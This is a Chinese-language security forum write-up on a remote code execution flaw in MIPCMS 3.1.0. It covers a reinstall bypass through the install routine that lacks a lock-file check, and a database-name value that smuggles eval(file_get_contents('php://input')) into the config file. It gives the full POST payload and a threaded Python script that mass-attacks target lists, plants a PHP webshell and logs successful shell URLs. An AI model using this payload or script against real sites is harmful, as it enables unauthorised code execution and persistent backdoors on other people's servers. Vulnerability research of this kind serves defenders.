0×01 前言
今天翻了下CNVD,看到了一個MIPCMS的遠程代碼執行漏洞,然后就去官網下載了這個版本的源碼研究了下。看下整體的結構,用的是thinkPHP的架構,看到了install這個文件沒有可以繞過install.lock進行重裝,但是里面有一個一定要驗證數據庫,又要找一個SQL的注入漏洞。
想起前幾天大表哥Bypass發了一篇好像是關於mipcms的漏洞,趕緊去翻了一下,又學到不少技巧,這個技巧可以用在我上次發的一篇ZZCMS 8.2任意文件刪除至Getshell的文章,里面有有個getshell的操作,但是也是要數據庫的驗證,用上這個技巧也不需要SQL注入也可以getshell了。
關於排版問題,我也想了許多,我寫的是markdown的格式,但是論壇對於這種格式效果還算挺兼容的,就是看起來有一些不美觀,我就換了種方式進行寫,之前我都是放代碼然后在上面寫解析,這樣看起來有點密密麻麻,所以我就直接放代碼然后在代碼里面寫注釋,有重要的點就寫在外面,這樣一來看起來整個文章就很整潔了。
0×02 環境
程序源碼下載:http://www.mipcms.cn/mipcms-3.1.0.zip
Web環境:Deepin Linux+Apache2+PHP5.6+MySQL(192.168.1.101)
遠程數據庫服務器:Windows 10 x64(192.168.1.102)
0×03 漏洞利用過程
-
我們先正常安裝程序
2.在遠程數據庫服務器上面開啟遠程訪問,然后在上面建立一個名為test',1=>eval(file_get_contents('php://input')),'2'=>'數據庫。
3.瀏覽器訪問:http://www.getpass.test//index.php?s=/install/Install/installPost
POST:
username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php://input')),'2'=>'&dbhost=192.168.1.102&dbuser=root&dbpw=root
記得里面的數據庫對應上你遠程數據庫服務器的信息!
可以看到一句把eval函數寫到了配置文件里面了
4.執行代碼,具體原理我會在后面構造poc的再詳細講解
瀏覽器訪問:http://www.getpass.test/system/config/database.php
POST:phpinfo();
0×04 框架知識補充
還有人可能不怎么了解這個thinkPHP的框架,我在這里簡單講解下,最好還是去官方解讀下https://www.kancloud.cn/manual/thinkphp5/118003
首先我們現在thinkPHP的配置文件/system/config/config.php里面修改下面這兩個為true
然后去打開網站(這個適合剛剛搭建還沒開始安裝),它會自動跳轉到安裝的頁面。做了剛才的設置后會在右下角出現一個小綠帽,點擊就可以看到文件的加載流程。
這里有很多文件會預加載,我們主要看它的路由文件Route.php
我們可以看到,這里檢查了install.lock文件存不存在,如果不存在就會跳轉到安裝的界面進行安裝。
0×05 漏洞代碼分析過程
/app/install/controller/Install.php問題出現在這個文件,它里面的就在index這里檢查的install.lock的存在,但是在installPost這個方法里面卻沒有檢查,也沒有做關聯,在install.html里面直接就跳過了,從而導致了程序重裝。
下面直接按照順序讀下面的代碼就行了,我都注釋好了。就有兩個點:
- 一個是遍歷數據庫內容那里,我輸出了
$matches截圖這個內容給你們好理解。
2.再一個是配置文件的替換,讀到$conf = str_replace("#{$key}#", $value, $conf);這句的時候我順便截圖了一個配置的內容。
0×06 Payload構造
- 從上面的代碼分析下來,我們可以曉得,必須要傳入的值有
username password rpassword dbport dbname dbhost dbuser dbpw
用戶名密碼這些可以隨便寫,但是數據庫這個在你不曉得數據庫信息的時候是無法進行下去的,因為通過上面的代碼分析,如果數據庫連接不成功就會退出。
看Bypass大表哥的方法,我一想,特么gb,我咋沒想到這種方法呢,wocao。dbhost不是可以填服務器地址么,我們在一個服務器上面搭建一個然后進行連接不就行了么,哈哈哈。 - 數據庫的問題解決了,我們要怎么樣寫到數據庫文件里面呢。寫到里面的就有這幾個值,數據庫的服務器地址和用戶名密碼是不能動的了,因為Mysql用戶默認是16位,可以修改位數,但是數據庫會把
,自動轉換為.,數據庫密碼是加密的,還有prefix這個參數修改了會造成創建表的出現錯誤導致程序不能正常執行。
那么我們構造的寫進去的信息就不能破壞里面的結構,我們就只能用dbname了。
3.還有一個問題,如果我們直接構造一句話木馬也不行,因為上面$dbname=strtolower(input('post.dbname'))這里用了轉換小寫,所以一句話的$_POST和$_GET就不能用了,不能用這個我們還可以用PHP的協議php://input來接受值然后用eval和assert來執行。
我在這里就不再講解這個協議了,論壇有一篇文章是專門講這個的,還挺詳細的:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=27441
4.從上面代碼分析,我們可以看出,替換值后面會加上',,所以我們要對應上test',1=>eval(file_get_contents('php://input')),'2'=>'
最終的Payload:
username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test’,1=>eval(file_get_contents(‘php://input’)),’2′=>’&dbhost=192.168.1.102&dbuser=root&dbpw=root
0×07 用Python編寫批量getshell腳本
我把配置都寫在里面了,需要修改數據庫信息直接在代碼里面改了,如果加在參數會比較麻煩。
#!/usr/bin/env #author:F0rmat import sys import requests import threading def exploit(target): dbhost='192.168.1.102' dbuser = 'root' dbpw = 'root' dbport=3306 dbname="test',1=>eval(file_get_contents('php://input')),'2'=>'" if sys.argv[1]== "-f": target=target[0] url1=target+"/index.php?s=/install/Install/installPost" data={ "username": "admin", "password": "admin", "rpassword": "admin", "dbport": dbport, "dbname": dbname, "dbhost": dbhost, "dbuser": dbuser, "dbpw": dbpw, } payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');" url2=target+"/system/config/database.php" shell = target+'/system/config/shell.php' try: requests.post(url1,data=data).content requests.post(url2, data=payload) verify = requests.get(shell, timeout=3) if "f0rmat" in verify.content: print 'Write success,shell url:',shell,'pass:f0rmat' with open("success.txt","a+") as f: f.write(shell+' pass:f0rmat'+"\n") else: print target,'Write failure!' except Exception, e: print e def main(): if len(sys.argv)<3: print 'python mipcms_3.1.0.py -h target/-f target-file ' else: if sys.argv[1] == "-h": exploit(sys.argv[2]) elif sys.argv[1] == "-f": with open(sys.argv[2], "r") as f: b = f.readlines() for i in xrange(len(b)): if not b[i] == "\n": threading.Thread(target=exploit, args=(b[i].split(),)).start() if __name__ == '__main__': main()
0×08 參考
https://github.com/F0r3at/Python-Tools/tree/master/Mipcms
http://www.cnvd.org.cn/flaw/show/CNVD-2018-02516
http://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=301419963&idx=1&sn=0cb82aa5629b6432415c93d9f2b8eb8c&chksm=0b55dde63c2254f04399a7afa7f49a3889e8eaa37d747ec1a1b70f00cc0bf94c764db1295a11&mpshare=1&scene=23&srcid=0321pbJgBla01aN1U5GZXNlG#rd














